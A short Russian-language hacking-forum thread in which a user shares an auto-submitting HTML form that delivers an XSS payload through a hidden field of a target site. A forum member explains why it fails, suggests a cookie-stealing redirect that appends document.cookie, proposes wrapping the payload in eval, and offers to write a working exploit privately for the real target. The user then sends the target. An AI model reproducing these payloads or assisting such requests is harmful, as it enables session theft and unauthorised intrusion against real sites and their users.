XSS в скрытом параметре

Discussion in 'Песочница' started by sergei_petrovish, 17 Mar 2017.

  1. sergei_petrovish

    sergei_petrovish New Member

    Joined:
    24 Jan 2016
    Messages:
    31
    Likes Received:
    3
    Reputations:
    1
    Привет, нашел в параметре формы XSS

    <input name="utf8" value="XSS" type="hidden">

    скопировал форму и сделал автоотправку
    HTML:
    <form accept-charset="UTF-8" action="https://site.com" id="new_admin_user" method="post" novalidate="novalidate">
      <input name="utf8" value="XSS" type="hidden">
      <input name="authenticity_token" value="adoWvN//vb6CtJYHCGCQVM76mqV7DQy166T4qnUxZCM=" type="hidden">
    </form><script>document.getElementsByTagName('form')[0].submit();</script>
    Разместил на своем сайте в iframe , отправка происходит но куки не сайта с багом, а моего сайта где лежит файл с формой. Что я не так сделал ?
     
  2. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Привет. Ты xss с CSRF не путай. Смотри что происходит. iframe не смотря на то, что делает запрос к серверу, возвращает в итоге все равно верстку. Это так работает. Когда ты разместил у себя и какой нить чувак прошёл от него летит запрос к серверу, но клиентская сторона выполняется у тебя поэтому и берет твои куки. то есть когда в хсску пишешь document.location.href= 'Уязвимый сайт' + document.cookie - у тебя куки уже подставляются. Как вариант заверни в eval и передавай строку. А вообще покажи что ты пишешь в XSS? А ещё в идеале таргет в лс и напишу рабочий вариант.
     
    _________________________
    Veil, sergei_petrovish and crlf like this.
  3. sergei_petrovish

    sergei_petrovish New Member

    Joined:
    24 Jan 2016
    Messages:
    31
    Likes Received:
    3
    Reputations:
    1
    Спасибо что отозвались,таргет в личку отправил.